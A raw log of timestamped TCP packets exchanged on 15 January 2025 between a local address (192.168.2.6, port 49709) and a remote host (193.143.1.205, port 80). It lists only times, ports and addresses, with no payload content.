Jan 15, 2025 20:42:02.929796934 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.929804087 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.929816961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.929836035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.929846048 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.929857969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.929861069 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.929898977 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.946204901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.946224928 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.946235895 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.946245909 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.946257114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.946269035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.946296930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.946309090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.946314096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.946321011 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.946324110 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.946350098 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.946372032 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.955709934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.955724001 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.955734968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.955745935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.955756903 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.955790043 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.955833912 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.956063032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.956082106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.956101894 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.956127882 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.956137896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.956168890 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.956182957 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.956193924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.956218004 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.956226110 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.956254005 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.956307888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.956324100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.956334114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.956342936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.956355095 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.956363916 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.956363916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.956383944 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.956404924 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.956444979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.956464052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.956474066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.956485033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.956495047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.956506014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.956521034 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.956537008 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.956553936 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.956798077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.956814051 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.956824064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.956832886 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.956844091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.956852913 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.956862926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.956873894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.956885099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.956895113 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.956904888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.957254887 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.957304955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.957321882 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.957333088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.957341909 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.957344055 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.957354069 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.957370996 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.957371950 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.957382917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.957395077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.957406044 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.957406998 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.957416058 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.957425117 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.957431078 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.957442045 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.957448959 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.957458973 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.957465887 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.957489014 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.958107948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.958125114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.958146095 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.958159924 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.958161116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.958173037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.958184004 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.958194971 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.958199978 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.958210945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.958220005 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.958220959 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.958231926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.958241940 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.958242893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.958261967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.958271980 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.958271980 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.958282948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.958292961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.958302021 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.958304882 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.958317041 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.958318949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.958329916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.958339930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.958348036 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.958373070 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.959079981 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.959095955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.959106922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.959116936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.959127903 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.959135056 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.959139109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.959151030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.959160089 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.959161997 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.959173918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.959192991 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.959209919 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.988097906 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.988118887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.988131046 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.988141060 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.988152981 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.988162994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.988174915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.988183975 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:02.988193035 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:02.988296032 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.013240099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.013262033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.013273954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.013284922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.013295889 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.013305902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.013318062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.013319016 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.013329029 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.013375044 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.023066998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.023080111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.023135900 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.023257017 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.023279905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.023292065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.023303032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.023319960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.023322105 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.023332119 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.023344040 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.023346901 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.023355007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.023374081 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.023384094 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.023395061 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.023405075 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.023407936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.023422003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.023430109 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.023459911 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.023571014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.038525105 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.038537979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.038548946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.038577080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.038589001 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.038595915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.038610935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.038620949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.038640022 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.038661003 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.047595024 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.047606945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.047624111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.047636032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.047646999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.047665119 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.047708035 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.047746897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.047759056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.047770977 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.047780037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.047796011 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.047816992 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.048243999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.048264027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.048274994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.048281908 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.048295021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.048305988 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.048312902 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.048319101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.048331022 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.048340082 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.048358917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.048360109 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.048377037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.048388958 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.048398972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.048410892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.048419952 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.048443079 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.048614025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.048629999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.048640966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.048650980 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.048662901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.048672915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.048707962 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.048727036 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.048727036 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.048763990 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.048774004 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.048784018 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.048809052 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.048830032 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.048944950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.048962116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.048973083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.048983097 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.048994064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.049004078 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.049007893 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.049015999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.049025059 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.049026012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.049037933 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.049048901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.049055099 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.049077034 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.049091101 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.049269915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.049287081 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.049299002 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.049309969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.049320936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.049323082 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.049345970 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.049395084 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.049431086 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.049516916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.049526930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.049539089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.049549103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.049560070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.049566031 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.049571991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.049582005 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.049587011 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.049597979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.049611092 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.049633980 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.049645901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.049658060 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.049673080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.049684048 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.049695015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.049705982 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.049705982 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.049719095 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.049730062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.049741983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.049752951 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.049767971 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.049767971 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.052479982 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.052499056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.052530050 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.052577972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.052591085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.052602053 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.052614927 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.052640915 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.063951969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.063977003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.064028025 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.064032078 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.064043999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.064054966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.064080954 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.064101934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.064136982 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.064141989 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.064193964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.064209938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.064222097 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.064229965 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.064233065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.064245939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.064256907 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.064281940 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.080413103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.080446005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.080461979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.080475092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.080486059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.080497026 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.080507040 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.080532074 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.080557108 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.080596924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.080609083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.080620050 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.080630064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.080646038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.080650091 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.080657959 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.080670118 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.080677986 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.080692053 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.105652094 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.105674028 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.105685949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.105695963 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.105706930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.105716944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.105727911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.105739117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.105740070 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.105788946 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.105803967 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.114295006 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.114321947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.114331007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.114341974 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.114352942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.114360094 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.114409924 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.114409924 CET	80	49709	193.143.1.205	192.168.2.6
